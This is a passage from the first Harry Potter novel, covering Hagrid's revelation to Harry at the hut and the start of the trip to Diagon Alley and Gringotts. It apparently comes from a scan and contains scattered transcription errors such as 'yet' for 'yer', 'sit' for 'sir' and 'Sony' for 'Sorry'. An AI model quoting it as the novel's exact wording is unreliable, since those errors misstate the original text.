landed flat on the floor. + +A giant of a man was standing in the doorway. His face was almost +completely hidden by a long, shaggy mane of hair and a wild, tangled +beard, but you could make out his eyes, glinting like black beetles +under all the hair. + +The giant squeezed his way into the hut, stooping so that his head just +brushed the ceiling. He bent down, picked up the door, and fitted it +easily back into its frame. The noise of the storm outside dropped a +little. He turned to look at them all. + +"Couldn't make us a cup o' tea, could yeh? It's not been an easy +journey..." + +He strode over to the sofa where Dudley sat frozen with fear. + +"Budge up, yeh great lump," said the stranger. + +Dudley squeaked and ran to hide behind his mother, who was crouching, +terrified, behind Uncle Vernon. + +"An' here's Harry!" said the giant. + +Harry looked up into the fierce, wild, shadowy face and saw that the +beetle eyes were crinkled in a smile. + +"Las' time I saw you, you was only a baby," said the giant. "Yeh look a +lot like yet dad, but yeh've got yet mom's eyes." + +Uncle Vernon made a funny rasping noise. + +I demand that you leave at once, sit!" he said. "You are breaking and +entering!" + +"Ah, shut up, Dursley, yeh great prune," said the giant; he reached over +the back of the sofa, jerked the gun out of Uncle Vernon's hands, bent +it into a knot as easily as if it had been made of rubber, and threw it +into a corner of the room. + +Uncle Vernon made another funny noise, like a mouse being trodden on. + +"Anyway -- Harry," said the giant, turning his back on the Dursleys, "a +very happy birthday to yeh. Got summat fer yeh here -- I mighta sat on +it at some point, but it'll taste all right." + +From an inside pocket of his black overcoat he pulled a slightly +squashed box. Harry opened it with trembling fingers. Inside was a +large, sticky chocolate cake with Happy Birthday Harry written on it in +green icing. + +Harry looked up at the giant. He meant to say thank you, but the words +got lost on the way to his mouth, and what he said instead was, "Who are +you?" + +The giant chuckled. + +"True, I haven't introduced meself. Rubeus Hagrid, Keeper of Keys and +Grounds at Hogwarts." + +He held out an enormous hand and shook Harry's whole arm. + +"What about that tea then, eh?" he said, rubbing his hands together. +"I'd not say no ter summat stronger if yeh've got it, mind." + +His eyes fell on the empty grate with the shriveled chip bags in it and +he snorted. He bent down over the fireplace; they couldn't see what he +was doing but when he drew back a second later, there was a roaring fire +there. It filled the whole damp hut with flickering light and Harry felt +the warmth wash over him as though he'd sunk into a hot bath. + +The giant sat back down on the sofa, which sagged under his weight, and +began taking all sorts of things out of the pockets of his coat: a +copper kettle, a squashy package of sausages, a poker, a teapot, several +chipped mugs, and a bottle of some amber liquid that he took a swig from +before starting to make tea. Soon the hut was full of the sound and +smell of sizzling sausage. Nobody said a thing while the giant was +working, but as he slid the first six fat, juicy, slightly burnt +sausages from the poker, Dudley fidgeted a little. Uncle Vernon said +sharply, "Don't touch anything he gives you, Dudley." + +The giant chuckled darkly. + +"Yet great puddin' of a son don' need fattenin' anymore, Dursley, don' +worry." + +He passed the sausages to Harry, who was so hungry he had never tasted +anything so wonderful, but he still couldn't take his eyes off the +giant. Finally, as nobody seemed about to explain anything, he said, +"I'm sorry, but I still don't really know who you are." + +The giant took a gulp of tea and wiped his mouth with the back of his +hand. + +"Call me Hagrid," he said, "everyone does. An' like I told yeh, I'm +Keeper of Keys at Hogwarts -- yeh'll know all about Hogwarts, o' course. + +"Er -- no," said Harry. + +Hagrid looked shocked. + +"Sorry," Harry said quickly. + +"Sony?" barked Hagrid, turning to stare at the Dursleys, who shrank back +into the shadows. "It' s them as should be sorry! I knew yeh weren't +gettin' yer letters but I never thought yeh wouldn't even know abou' +Hogwarts, fer cryin' out loud! Did yeh never wonder where yet parents +learned it all?" + +"All what?" asked Harry. + +"ALL WHAT?" Hagrid thundered. "Now wait jus' one second!" + +He had leapt to his feet. In his anger he seemed to fill the whole hut. +The Dursleys were cowering against the wall. + +"Do you mean ter tell me," he growled at the Dursleys, "that this boy -- +this boy! -- knows nothin' abou' -- about ANYTHING?" + +Harry thought this was going a bit far. He had been to school, after +all, and his marks weren't bad. + +"I know some things," he said. "I can, you know, do math and stuff." But +Hagrid simply waved his hand and said, "About our world, I mean. Your +world. My world. Yer parents' world." + +"What world?" + +Hagrid looked as if he was about to explode. + +"DURSLEY!" he boomed. + +Uncle Vernon, who had gone very pale, whispered something that sounded +like "Mimblewimble." Hagrid stared wildly at Harry. + +"But yeh must know about yet mom and dad," he said. "I mean, they're +famous. You're famous." + +"What? My -- my mom and dad weren't famous, were they?" + +"Yeh don' know... yeh don' know..." Hagrid ran his fingers through his +hair, fixing Harry with a bewildered stare. + +"Yeh don' know what yeh are?" he said finally. + +Uncle Vernon suddenly found his voice. + +"Stop!" he commanded. "Stop right there, sit! I forbid you to tell the +boy anything!" + +A braver man than Vernon Dursley would have quailed under the furious +look Hagrid now gave him; when Hagrid spoke, his every syllable trembled +with rage. + +"You never told him? Never told him what was in the letter Dumbledore +left fer him? I was there! I saw Dumbledore leave it, Dursley! An' +you've kept it from him all these years?" + +"Kept what from me?" said Harry eagerly. + +"STOP! I FORBID YOU!" yelled Uncle Vernon in panic. + +Aunt Petunia gave a gasp of horror. + +"Ah, go boil yet heads, both of yeh," said Hagrid. "Harry -- yet a +wizard." + +There was silence inside the hut. Only the sea and the whistling wind +could be heard. + +"-- a what?" gasped Harry. + +"A wizard, o' course," said Hagrid, sitting back down on the sofa, which +groaned and sank even lower, "an' a thumpin' good'un, I'd say, once +yeh've been trained up a bit. With a mum an' dad like yours, what else +would yeh be? An' I reckon it's abou' time yeh read yer letter." + +Harry stretched out his hand at last to take the yellowish envelope, +addressed in emerald green to Mr. H. Potter, The Floor, Hut-on-the-Rock, +The Sea. He pulled out the letter and read: + +HOGWARTS SCHOOL of WITCHCRAFT and WIZARDRY + +Headmaster: ALBUS DUMBLEDORE + +(Order of Merlin, First Class, Grand Sorc., Chf. Warlock, Supreme +Mugwump, International Confed. of Wizards) + +Dear Mr. Potter, + +We are pleased to inform you that you have been accepted at Hogwarts +School of Witchcraft and Wizardry. Please find enclosed a list of all +necessary books and equipment. + +Term begins on September 1. We await your owl by no later than July 31. +Yours sincerely, + +Minerva McGonagall, + +Deputy Headmistress + +Questions exploded inside Harry's head like fireworks and he couldn't +decide which to ask first. After a few minutes he stammered, "What does +it mean, they await my owl?" + +"Gallopin' Gorgons, that reminds me," said Hagrid, clapping a hand to +his forehead with enough force to knock over a cart horse, and from yet +another pocket inside his overcoat he pulled an owl -- a real, live, +rather ruffled-looking owl -- a long quill, and a roll of parchment. +With his tongue between his teeth he scribbled a note that Harry could +read upside down: + +Dear Professor Dumbledore, + +Given Harry his letter. + +Taking him to buy his things tomorrow. + +Weather's horrible. Hope you're Well. + +Hagrid + +Hagrid rolled up the note, gave it to the owl, which clamped it in its +beak, went to the door, and threw the owl out into the storm. Then he +came back and sat down as though this was as normal as talking on the +telephone. + +Harry realized his mouth was open and closed it quickly. + +"Where was I?" said Hagrid, but at that moment, Uncle Vernon, still +ashen-faced but looking very angry, moved into the firelight. + +"He's not going," he said. + +Hagrid grunted. + +"I'd like ter see a great Muggle like you stop him," he said. + +"A what?" said Harry, interested. + +"A Muggle," said Hagrid, "it's what we call nonmagic folk like thern. +An' it's your bad luck you grew up in a family o' the biggest Muggles I +ever laid eyes on." + +"We swore when we took him in we'd put a stop to that rubbish," said +Uncle Vernon, "swore we'd stamp it out of him! Wizard indeed!" + +"You knew?" said Harry. "You knew I'm a -- a wizard?" + +"Knew!" shrieked Aunt Petunia suddenly. "Knew! Of course we knew! How +could you not be, my dratted sister being what she was? Oh, she got a +letter just like that and disappeared off to that-that school-and came +home every vacation with her pockets full of frog spawn, turning teacups +into rats. I was the only one who saw her for what she was -- a freak! +But for my mother and father, oh no, it was Lily this and Lily that, +they were proud of having a witch in the family!" + +She stopped to draw a deep breath and then went ranting on. It seemed +she had been wanting to say all this for years. + +"Then she met that Potter at school and they left and got married and +had you, and of course I knew you'd be just the same, just as strange, +just as -- as -- abnormal -- and then, if you please, she went and got +herself blown up and we got landed with you!" + +Harry had gone very white. As soon as he found his voice he said, "Blown +up? You told me they died in a car crash!" + +"CAR CRASH!" roared Hagrid, jumping up so angrily that the Dursleys +scuttled back to their corner. "How could a car crash kill Lily an' +James Potter? It's an outrage! A scandal! Harry Potter not knowin' his +own story when every kid in our world knows his name!" "But why? What +happened?" Harry asked urgently. + +The anger faded from Hagrid's face. He looked suddenly anxious. + +"I never expected this," he said, in a low, worried voice. "I had no +idea, when Dumbledore told me there might be trouble gettin' hold of +yeh, how much yeh didn't know. Ah, Harry, I don' know if I'm the right +person ter tell yeh -- but someone 3 s gotta -- yeh can't go off ter +Hogwarts not knowin'." + +He threw a dirty look at the Dursleys. + +"Well, it's best yeh know as much as I can tell yeh -- mind, I can't +tell yeh everythin', it's a great myst'ry, parts of it...." + +He sat down, stared into the fire for a few seconds, and then said, "It +begins, I suppose, with -- with a person called -- but it's incredible +yeh don't know his name, everyone in our world knows --" + +"Who? " + +"Well -- I don' like sayin' the name if I can help it. No one does." + +"Why not?" + +"Gulpin' gargoyles, Harry, people are still scared. Blimey, this is +difficult. See, there was this wizard who went... bad. As bad as you +could go. Worse. Worse than worse. His name was..." + +Hagrid gulped, but no words came out. + +"Could you write it down?" Harry suggested. + +"Nah -can't spell it. All right -- Voldemort. " Hagrid shuddered. "Don' +make me say it again. Anyway, this -- this wizard, about twenty years +ago now, started lookin' fer followers. Got 'em, too -- some were +afraid, some just wanted a bit o' his power, 'cause he was gettin' +himself power, all right. Dark days, Harry. Didn't know who ter trust, +didn't dare get friendly with strange wizards or witches... terrible +things happened. He was takin' over. 'Course, some stood up to him -- +an' he killed 'em. Horribly. One o' the only safe places left was +Hogwarts. Reckon Dumbledore's the only one You-Know-Who was afraid of. +Didn't dare try takin' the school, not jus' then, anyway. + +"Now, yer mum an' dad were as good a witch an' wizard as I ever knew. +Head boy an' girl at Hogwarts in their day! Suppose the myst'ry is why +You-Know-Who never tried to get 'em on his side before... probably knew +they were too close ter Dumbledore ter want anythin' ter do with the +Dark Side. + +"Maybe he thought he could persuade 'em... maybe he just wanted 'em +outta the way. All anyone knows is, he turned up in the village where +you was all living, on Halloween ten years ago. You was just a year old. +He came ter yer house an' -- an' --" + +Hagrid suddenly pulled out a very dirty, spotted handkerchief and blew +his nose with a sound like a foghorn. + +"Sorry," he said. "But it's that sad -- knew yer mum an' dad, an' nicer +people yeh couldn't find -- anyway..." + +"You-Know-Who killed 'em. An' then -- an' this is the real myst'ry of +the thing -- he tried to kill you, too. Wanted ter make a clean job of +it, I suppose, or maybe he just liked killin' by then. But he couldn't +do it. Never wondered how you got that mark on yer forehead? That was no +ordinary cut. That's what yeh get when a Powerful, evil curse touches +yeh -- took care of yer mum an' dad an' yer house, even -- but it didn't +work on you, an' that's why yer famous, Harry. No one ever lived after +he decided ter kill 'em, no one except you, an' he'd killed some o' the +best witches an' wizards of the age -- the McKinnons, the Bones, the +Prewetts -- an' you was only a baby, an' you lived." + +Something very painful was going on in Harry's mind. As Hagrid's story +came to a close, he saw again the blinding flash of green light, more +clearly than he had ever remembered it before -- and he remembered +something else, for the first time in his life: a high, cold, cruel +laugh. + +Hagrid was watching him sadly. + +"Took yeh from the ruined house myself, on Dumbledore's orders. Brought +yeh ter this lot..." + +"Load of old tosh," said Uncle Vernon. Harry jumped; he had almost +forgotten that the Dursleys were there. Uncle Vernon certainly seemed to +have got back his courage. He was glaring at Hagrid and his fists were +clenched. + +"Now, you listen here, boy," he snarled, "I accept there's something +strange about you, probably nothing a good beating wouldn't have cured +-- and as for all this about your parents, well, they were weirdos, no +denying it, and the world's better off without them in my opinion -- +asked for all they got, getting mixed up with these wizarding types -- +just what I expected, always knew they'd come to a sticky end --" + +But at that moment, Hagrid leapt from the sofa and drew a battered pink +umbrella from inside his coat. Pointing this at Uncle Vernon like a +sword, he said, "I'm warning you, Dursley -I'm warning you -- one more +word... " + +In danger of being speared on the end of an umbrella by a bearded giant, +Uncle Vernon's courage failed again; he flattened himself against the +wall and fell silent. + +"That's better," said Hagrid, breathing heavily and sitting back down on +the sofa, which this time sagged right down to the floor. + +Harry, meanwhile, still had questions to ask, hundreds of them. + +"But what happened to Vol--, sorry -- I mean, You-Know-Who?" + +"Good question, Harry. Disappeared. Vanished. Same night he tried ter +kill you. Makes yeh even more famous. That's the biggest myst'ry, see... +he was gettin' more an' more powerful -- why'd he go? + +"Some say he died. Codswallop, in my opinion. Dunno if he had enough +human left in him to die. Some say he's still out there, bidin' his +time, like, but I don' believe it. People who was on his side came back +ter ours. Some of 'em came outta kinda trances. Don~ reckon they +could've done if he was comin' back. + +"Most of us reckon he's still out there somewhere but lost his powers. +Too weak to carry on. 'Cause somethin' about you finished him, Harry. +There was somethin' goin' on that night he hadn't counted on -- I dunno +what it was, no one does -- but somethin' about you stumped him, all +right." + +Hagrid looked at Harry with warmth and respect blazing in his eyes, but +Harry, instead of feeling pleased and proud, felt quite sure there had +been a horrible mistake. A wizard? Him? How could he possibly be? He'd +spent his life being clouted by Dudley, and bullied by Aunt Petunia and +Uncle Vernon; if he was really a wizard, why hadn't they been turned +into warty toads every time they'd tried to lock him in his cupboard? If +he'd once defeated the greatest sorcerer in the world, how come Dudley +had always been able to kick him around like a football? + +"Hagrid," he said quietly, "I think you must have made a mistake. I +don't think I can be a wizard." + +To his surprise, Hagrid chuckled. + +"Not a wizard, eh? Never made things happen when you was scared or +angry?" + +Harry looked into the fire. Now he came to think about it... every odd +thing that had ever made his aunt and uncle furious with him had +happened when he, Harry, had been upset or angry... chased by Dudley's +gang, he had somehow found himself out of their reach... dreading going +to school with that ridiculous haircut, he'd managed to make it grow +back... and the very last time Dudley had hit him, hadn't he got his +revenge, without even realizing he was doing it? Hadn't he set a boa +constrictor on him? + +Harry looked back at Hagrid, smiling, and saw that Hagrid was positively +beaming at him. + +"See?" said Hagrid. "Harry Potter, not a wizard -- you wait, you'll be +right famous at Hogwarts." + +But Uncle Vernon wasn't going to give in without a fight. + +"Haven't I told you he's not going?" he hissed. "He's going to Stonewall +High and he'll be grateful for it. I've read those letters and he needs +all sorts of rubbish -- spell books and wands and --" + +"If he wants ter go, a great Muggle like you won't stop him," growled +Hagrid. "Stop Lily an' James Potter' s son goin' ter Hogwarts! Yer mad. +His name's been down ever since he was born. He's off ter the finest +school of witchcraft and wizardry in the world. Seven years there and he +won't know himself. He'll be with youngsters of his own sort, fer a +change, an' he'll be under the greatest headmaster Hogwarts ever had +Albus Dumbled--" + +"I AM NOT PAYING FOR SOME CRACKPOT OLD FOOL To TEACH HIM MAGIC TRICKS!" +yelled Uncle Vernon. + +But he had finally gone too far. Hagrid seized his umbrella and whirled +it over his head, "NEVER," he thundered, "- INSULT- ALBUS- DUMBLEDORE- +IN- FRONT- OF- ME!" + +He brought the umbrella swishing down through the air to point at Dudley +-- there was a flash of violet light, a sound like a firecracker, a +sharp squeal, and the next second, Dudley was dancing on the spot with +his hands clasped over his fat bottom, howling in pain. When he turned +his back on them, Harry saw a curly pig's tail poking through a hole in +his trousers. + +Uncle Vernon roared. Pulling Aunt Petunia and Dudley into the other +room, he cast one last terrified look at Hagrid and slammed the door +behind them. + +Hagrid looked down at his umbrella and stroked his beard. + +"Shouldn'ta lost me temper," he said ruefully, "but it didn't work +anyway. Meant ter turn him into a pig, but I suppose he was so much like +a pig anyway there wasn't much left ter do." + +He cast a sideways look at Harry under his bushy eyebrows. + +"Be grateful if yeh didn't mention that ter anyone at Hogwarts," he +said. "I'm -- er -- not supposed ter do magic, strictly speakin'. I was +allowed ter do a bit ter follow yeh an' get yer letters to yeh an' stuff +-- one o' the reasons I was so keen ter take on the job + +"Why aren't you supposed to do magic?" asked Harry. + +"Oh, well -- I was at Hogwarts meself but I -- er -- got expelled, ter +tell yeh the truth. In me third year. They snapped me wand in half an' +everything. But Dumbledore let me stay on as gamekeeper. Great man, +Dumbledore." "Why were you expelled?" + +"It's gettin' late and we've got lots ter do tomorrow," said Hagrid +loudly. "Gotta get up ter town, get all yer books an' that." + +He took off his thick black coat and threw it to Harry. + +"You can kip under that," he said. "Don' mind if it wriggles a bit, I +think I still got a couple o' dormice in one o' the pockets." + + +CHAPTER FIVE + +DIAGON ALLEY + +Harry woke early the next morning. Although he could tell it was +daylight, he kept his eyes shut tight. + +"It was a dream, he told himself firmly. "I dreamed a giant called +Hagrid came to tell me I was going to a school for wizards. When I open +my eyes I'll be at home in my cupboard." + +There was suddenly a loud tapping noise. + +And there's Aunt Petunia knocking on the door, Harry thought, his heart +sinking. But he still didn't open his eyes. It had been such a good +dream. + +Tap. Tap. Tap. + +"All right," Harry mumbled, "I'm getting up." + +He sat up and Hagrid's heavy coat fell off him. The hut was full of +sunlight, the storm was over, Hagrid himself was asleep on the collapsed +sofa, and there was an owl rapping its claw on the window, a newspaper +held in its beak. + +Harry scrambled to his feet, so happy he felt as though a large balloon +was swelling inside him. He went straight to the window and jerked it +open. The owl swooped in and dropped the newspaper on top of Hagrid, who +didn't wake up. The owl then fluttered onto the floor and began to +attack Hagrid's coat. + +"Don't do that." + +Harry tried to wave the owl out of the way, but it snapped its beak +fiercely at him and carried on savaging the coat. + +"Hagrid!" said Harry loudly. "There's an owl + +"Pay him," Hagrid grunted into the sofa. + +"What?" + +"He wants payin' fer deliverin' the paper. Look in the pockets." +Hagrid's coat seemed to be made of nothing but pockets -- bunches of +keys, slug pellets, balls of string, peppermint humbugs, teabags... +finally, Harry pulled out a handful of strange-looking coins. + +"Give him five Knuts," said Hagrid sleepily. + +"Knuts?" + +"The little bronze ones." + +Harry counted out five little bronze coins, and the owl held out his leg +so Harry could put the money into a small leather pouch tied to it. Then +he flew off through the open window. + +Hagrid yawned loudly, sat up, and stretched. + +"Best be Off, Harry, lots ter do today, gotta get up ter London an' buy +all yer stuff fer school." + +Harry was turning over the wizard coins and looking at them. He had just +thought of something that made him feel as though the happy balloon +inside him had got a puncture. + +"Um -- Hagrid?" + +"Mm?" said Hagrid, who was pulling on his huge boots. + +"I haven't got any money -- and you heard Uncle Vernon last night ... he +won't pay for me to go and learn magic." + +"Don't worry about that," said Hagrid, standing up and scratching his +head. "D'yeh think yer parents didn't leave yeh anything?" + +"But if their house was destroyed --" + +"They didn' keep their gold in the house, boy! Nah, first stop fer us is +Gringotts. Wizards' bank. Have a sausage, they're not bad cold -- an' I +wouldn' say no teh a bit o' yer birthday cake, neither." + +"Wizards have banks?" + +"Just the one. Gringotts. Run by goblins." + +Harry dropped the bit of sausage he was holding. + +"Goblins?" + +"Yeah -- so yeh'd be mad ter try an' rob it, I'll tell yeh that. Never +mess with goblins, Harry. Gringotts is the safest place in the world fer +anything yeh want ter keep safe -- 'cept maybe Hogwarts. As a matter o' +fact, I gotta visit Gringotts anyway. Fer Dumbledore. Hogwarts +business." Hagrid drew himself up proudly. "He usually gets me ter do +important stuff fer him. Fetchin' you gettin' things from Gringotts -- +knows he can trust me, see. + +"Got everythin'? Come on, then." + +Harry followed Hagrid out onto the rock. The sky was quite clear now and +the sea gleamed in the sunlight. The boat Uncle Vernon had hired was +still there, with a lot of water in the bottom after the storm. + +"How did you get here?" Harry asked, looking around for another boat. +"Flew," said Hagrid. + +"Flew?" + +"Yeah -- but we'll go back in this. Not s'pposed ter use magic now I've +got yeh." + +They settled down in the boat, Harry still staring at Hagrid, trying to +imagine him flying. + +"Seems a shame ter row, though," said Hagrid, giving Harry another of +his sideways looks. "If I was ter -- er -- speed things up a bit, would +yeh mind not mentionin' it at Hogwarts?" + +"Of course not," said Harry, eager to see more magic. Hagrid pulled out +the pink umbrella again, tapped it twice on the side of the boat, and +they sped off toward land. + +"Why would you be mad to try and rob Gringotts?" Harry asked. + +"Spells -- enchantments," said Hagrid, unfolding his newspaper as he +spoke. "They say there's dragons guardin' the highsecurity vaults. And +then yeh gotta find yer way -- Gringotts is hundreds of miles under +London, see. Deep under the Underground. Yeh'd die of hunger tryin' ter +get out, even if yeh did manage ter get yer hands on summat." + +Harry sat and thought about this while Hagrid read his newspaper, the +Daily Prophet. Harry had learned from Uncle Vernon that people liked to +be left alone while they did this, but it was very difficult, he'd never +had so many questions in his life. + +"Ministry o' Magic messin' things up as usual," Hagrid muttered, turning +the page. + +"There's a Ministry of Magic?" Harry asked, before he could stop +himself. + +"'Course," said Hagrid. "They wanted Dumbledore fer Minister, 0 ' +course, but he'd never leave Hogwarts, so old Cornelius Fudge got the +job. Bungler if ever there was one. So he pelts Dumbledore with owls +every morning, askin' fer advice." + +"But what does a Ministry of Magic do?" + +"Well, their main job is to keep it from the Muggles that there's still +witches an' wizards up an' down the country." + +"Why?" + +"Why? Blimey, Harry, everyone'd be wantin' magic solutions to their +problems. Nah, we're best left alone." + +At this moment the boat bumped gently into the harbor wall. Hagrid +folded up his newspaper, and they clambered up the stone steps onto the +street. + +Passersby stared a lot at Hagrid as they walked through the little town +to the station. Harry couldn't blame them. Not only was Hagrid twice as +tall as anyone else, he kept pointing at perfectly ordinary things like +parking meters and saying loudly, "See that, Harry? Things these Muggles +dream up, eh?" + +"Hagrid," said Harry, panting a bit as he ran to keep up, "did you say +there are dragons at Gringotts?" + +"Well, so they say," said Hagrid. "Crikey, I'd like a dragon." + +"You'd like one?" + +"Wanted one ever since I was a kid -- here we go." + +They had reached the station. There was a train to London in five +minutes' time. Hagrid, who didn't understand "Muggle money," as he +called it, gave the bills to Harry so he could buy their tickets. + +People stared more than ever on the train. Hagrid took up two seats and +sat knitting what looked like a canary-yellow circus tent. + +"Still got yer letter, Harry?" he asked as he counted stitches. Harry +took the parchment envelope out of his pocket. + +"Good," said Hagrid. "There's a list there of everything yeh need." + +Harry unfolded a second piece of paper he hadn't noticed the night +before, and read: + +HOGWARTS SCHOOL of WITCHCRAFT and WIZARDRY + +UNIFORM + +First-year students will require: + +1. Three sets of plain work robes (black) + +2. One plain pointed hat (black) for day wear + +3. One pair of protective gloves (dragon hide or similar) + +4. One winter cloak (black, silver fastenings) + +Please note that all pupils' clothes should carry name tags + +COURSE BOOKS + +All students should have a copy of each of the following: + +The Standard Book of Spells (Grade 1) by Miranda Goshawk + +A History of Magic by Bathilda Bagshot + +Magical Theory by Adalbert Waffling + +A Beginners' Guide to Transfiguration by Emetic Switch + +One Thousand Magical Herbs and Fungi by Phyllida Spore + +Magical Drafts and Potions by Arsenius Jigger + +Fantastic Beasts and Where to Find Them by Newt Scamander + +The Dark Forces: A Guide to Self-Protection by Quentin Trimble + +OTHER EQUIPMENT + +wand cauldron (pewter, standard size 2) set + +glass or crystal phials + +telescope set + +brass scales + +Students may also bring an owl OR a cat OR a toad + +PARENTS ARE REMINDED THAT FIRST YEARS ARE NOT ALLOWED THEIR OWN +BROOMSTICKS + +"Can we buy all this in London?" Harry wondered aloud. + +"If yeh know where to go," said Hagrid. + +Harry had never been to London before. Although Hagrid seemed to know +where he was going, he was obviously not used to getting there in an +ordinary way. He got stuck in the ticket barrier on the Underground, and +complained loudly that the seats were too small and the trains too slow. + +"I don't know how the Muggles manage without magic," he said as they +climbed a broken-down escalator that led up to a bustling road lined +with shops. + +Hagrid was so huge that he parted the crowd easily; all Harry had to do +was keep close behind him. They passed book shops and music stores, +hamburger restaurants and cinemas, but nowhere that looked as if it +could sell you a magic wand. This was just an ordinary street full of +ordinary people. Could there really be piles of wizard gold buried miles +beneath them? Were there really shops that sold spell books and +broomsticks? Might this not all be some huge joke that the Dursleys had +cooked up? If Harry hadn't known that the Dursleys had no sense of +humor, he might have thought so; yet somehow, even though everything +Hagrid had told him so far was unbelievable, Harry couldn't help +trusting him. + +"This is it," said Hagrid, coming to a halt, "the Leaky Cauldron. It's a +famous place." + +It was a tiny, grubby-looking pub. If Hagrid hadn't pointed it out, +Harry wouldn't have noticed it was there. The people hurrying by didn't +glance at it. Their eyes slid from the big book shop on one side to the +record shop on the other as if they couldn't see the Leaky Cauldron at +all. In fact, Harry had the most peculiar feeling that only he and +Hagrid could see it. Before he could mention this, Hagrid had steered +him inside. + +For a famous place, it was very dark and shabby. A few old women were +sitting in a corner, drinking tiny glasses of sherry. One of them was +smoking a long pipe. A little man in a top hat was talking to the old +bartender, who was quite bald and looked like a toothless walnut. The +low buzz of chatter stopped when they walked in. Everyone seemed to know +Hagrid; they waved and smiled at him, and the bartender reached for a +glass, saying, "The usual, Hagrid?" + +"Can't, Tom, I'm on Hogwarts business," said Hagrid, clapping his great +hand on Harry's shoulder and making Harry's knees buckle. + + +"Good Lord," said the bartender, peering at Harry, "is this -- can this +be --?" + + +The Leaky Cauldron had suddenly gone completely still and silent. + +"Bless my soul," whispered the old bartender, "Harry Potter... what an +honor." + +He hurried out from behind the bar, rushed toward Harry and seized his +hand, tears in his eyes. + +"Welcome back, Mr. Potter, welcome back." + +Harry didn't know what to say. Everyone was looking at him. The old +woman with the pipe was puffing on it without realizing it had gone out. +Hagrid was beaming. + +Then there was a great scraping of chairs and the next moment, Harry +found himself shaking hands with everyone in the Leaky Cauldron. + +"Doris Crockford, Mr. Potter, can't believe I'm meeting you at last." + +"So proud, Mr. Potter, I'm just so proud." + +"Always wanted to shake your hand -- I'm all of a flutter." + +"Delighted, Mr. Potter, just can't tell you, Diggle's the name, Dedalus +Diggle." + +"I've seen you before!" said Harry, as Dedalus Diggle's top hat fell off +in his excitement. "You bowed to me once in a shop." + +"He remembers!" cried Dedalus Diggle, looking around at everyone. "Did +you hear that? He remembers me!" Harry shook hands again and again -- +Doris Crockford kept coming back for more. + +A pale young man made his way forward, very nervously. One of his eyes +was twitching. + +"Professor Quirrell!" said Hagrid. "Harry, Professor Quirrell will be +one of your teachers at Hogwarts." + +"P-P-Potter," stammered Professor Quirrell, grasping Harry's hand, +"c-can't t-tell you how p- pleased I am to meet you." + +"What sort of magic do you teach, Professor Quirrell?" + +"D-Defense Against the D-D-Dark Arts," muttered Professor Quirrell, as +though he'd rather not think about it. "N-not that you n-need it, eh, +P-P-Potter?" He laughed nervously. "You'll be g-getting all your +equipment, I suppose? I've g-got to p-pick up a new b-book on vampires, +m-myself." He looked terrified at the very thought. + +But the others wouldn't let Professor Quirrell keep Harry to himself. It +took almost ten minutes to get away from them all. At last, Hagrid +managed to make himself heard over the babble. + +"Must get on -- lots ter buy. Come on, Harry." + +Doris Crockford shook Harry's hand one last time, and Hagrid led them +through the bar and out into a small, walled courtyard, where there was +nothing but a trash can and a few weeds. + +Hagrid grinned at Harry. + +"Told yeh, didn't I? Told yeh you was famous. Even Professor Quirrell +was tremblin' ter meet yeh -- mind you, he's usually tremblin'." + +"Is he always that nervous?" + +"Oh, yeah. Poor bloke. Brilliant mind. He was fine while he was + +studyin' outta books but then he took a year off ter get some firsthand +experience.... They say he met vampires in the Black Forest, and there +was a nasty bit o' trouble with a hag -- never been the same since. +Scared of the students, scared of his own subject now, where's me +umbrella?" + +Vampires? Hags? Harry's head was swimming. Hagrid, meanwhile, was +counting bricks in the wall above the trash can. + +"Three up... two across he muttered. "Right, stand back, Harry." + +He tapped the wall three times with the point of his umbrella. + +The brick he had touched quivered -- it wriggled -- in the middle, a +small hole appeared -- it grew wider and wider -- a second later they +were facing an archway large enough even for Hagrid, an archway onto a +cobbled street that twisted and turned out of sight. + +"Welcome," said Hagrid, "to Diagon Alley." + +He grinned at Harry's amazement. They stepped through the archway. Harry +looked quickly over his shoulder and saw the archway shrink instantly +back into solid wall. + +The sun shone brightly on a stack of cauldrons outside the nearest shop. +Cauldrons -- All Sizes - Copper, Brass, Pewter, Silver -- Self-Stirring +-- Collapsible, said a sign hanging over them. + +"Yeah, you'll be needin' one," said Hagrid, "but we gotta get yer money +first." + +Harry wished he had about eight more eyes. He turned his head in every +direction as they walked up the street, trying to look at everything at +once: the shops, the things outside them, the people doing their +shopping. A plump woman outside an Apothecary was shaking her head as +they passed, saying, "Dragon liver, seventeen Sickles an ounce, they're +mad...." + +A low, soft hooting came from a dark shop with a sign saying Eeylops Owl +Emporium -- Tawny, Screech, Barn, Brown, and Snowy. Several boys of +about Harry's age had their noses pressed against a window with +broomsticks in it. "Look," Harry heard one of them say, "the new Nimbus +Two Thousand -- fastest ever --" There were shops selling robes, shops +selling telescopes and strange silver instruments Harry had never seen +before, windows stacked with barrels of bat spleens and eels' eyes, +tottering piles of spell books, quills, and rolls of parchment, potion +bottles, globes of the moon.... + +"Gringotts," said Hagrid. + +They had reached a snowy white building that towered over the other +little shops. Standing beside its burnished bronze doors, wearing a +uniform of scarlet and gold, was - + +"Yeah, that's a goblin," said Hagrid quietly as they walked up the white +stone steps toward him. The goblin was about a head shorter than Harry. +He had a swarthy, clever face, a pointed beard and, Harry noticed, very +long fingers and feet. He bowed as they walked inside. Now they were +facing a second pair of doors, silver this time, with words engraved +upon them: + +Enter, stranger, but take heed + +Of what awaits the sin of greed, + +For those who take, but do not earn, + +Must pay most dearly in their turn. + +So if you seek beneath our floors + +A treasure that was never yours, + +Thief, you have been warned, beware + +Of finding more than treasure there. + +"Like I said, Yeh'd be mad ter try an' rob it," said Hagrid. + +A pair of goblins bowed them through the silver doors and they were in a +vast marble hall. About a hundred more goblins were sitting on high +stools behind a long counter, scribbling in large ledgers, weighing +coins in brass scales, examining precious stones through eyeglasses. +There were too many doors to count leading off the hall, and yet more +goblins were showing people in and out of these. Hagrid and Harry made +for the counter. + +"Morning," said Hagrid to a free goblin. "We've come ter take some money +outta Mr. Harry Potter's safe." + +"You have his key, Sir?" + +"Got it here somewhere," said Hagrid, and he started emptying his +pockets onto the counter, scattering a handful of moldy dog biscuits +over the goblin's book of numbers. The goblin wrinkled his nose. Harry +watched the goblin on their right weighing a pile of rubies as big as +glowing coals. + +"Got it," said Hagrid at last, holding up a tiny golden key. + +The goblin looked at it closely. + +"That seems to be in order." + +"An' I've also got a letter here from Professor Dumbledore," said Hagrid +importantly, throwing out his chest. "It's about the YouKnow-What in +vault seven hundred and thirteen." + +The goblin read the letter carefully. + +"Very well," he said, handing it back to Hagrid, "I will have Someone +take you down to both vaults. Griphook!" + +Griphook was yet another goblin. Once Hagrid had crammed all the dog +biscuits back inside his pockets, he and Harry followed Griphook toward +one of the doors leading off the 